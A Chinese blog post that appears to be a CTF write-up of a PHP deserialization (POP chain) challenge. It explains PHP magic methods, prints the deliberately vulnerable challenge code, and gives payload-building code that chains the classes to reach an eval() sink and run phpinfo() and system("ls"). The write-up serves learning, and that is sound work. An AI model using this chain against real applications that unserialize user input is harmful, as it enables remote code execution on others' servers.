[WEB]pop链


学长给的一道题

魔法方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数,session反序列化同样会调用
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval("#". $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

小技巧

f1=['a',get_flag]
($this->f1)()
['a',get_flag]()

如果f1是数组,那么在执行($this->f1)()时,就会执行a类的get_flag方法

分析

我们看这道题,既然是$_POST[‘cmd’],那么入口点是__destruct,__destruct里面有个echo,可以触发__tostring,__tostring有个run(),run()里有个($this->m1)(),可以把它写成数组的形式,再次调用mix里面的get_flag

$ser=new fin(new what(new mix([new mix('?><?php phpinfo();'),'get_flag'])));
echo urlencode(serialize($ser));

$ser = new fin(new what(new fin([new mix('?><?php system("ls");?>'), 'get_flag'])));
echo urlencode(serialize($ser));
  • 我们要在所有需要的类创建函数
  • 看get_flag类有个注释
    在这里插入图片描述
    这里要注意,echo()默认echo(<? php),那么我们传入$this->m1时,直接就被注释掉了,因此要?>闭合,再重新添加头文件
<?php

class crow
{
    public $v1;
    public $v2;

    public function __construct($v1)
    {
        $this->v1 = $v1;
    }



    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;
    public function __construct($f1)
    {
        $this->f1 = $f1;
    }

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }
}

class what
{
    public $a;

    public function __construct($a)
    {
        $this->a = $a;
    }

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function __construct($m1)
    {
        $this->m1 = $m1;
    }

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval("#" . $this->m1);
    }
}

$ser=new fin(new what(new mix([new mix('?><?php phpinfo();'),'get_flag'])));
echo (serialize($ser));

在这里插入图片描述
这个时候执行命令

$ser=new fin(new what(new mix([new mix('?><?php <?php system("ls");?>'),'get_flag'])));
echo urlencode(serialize($ser));
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值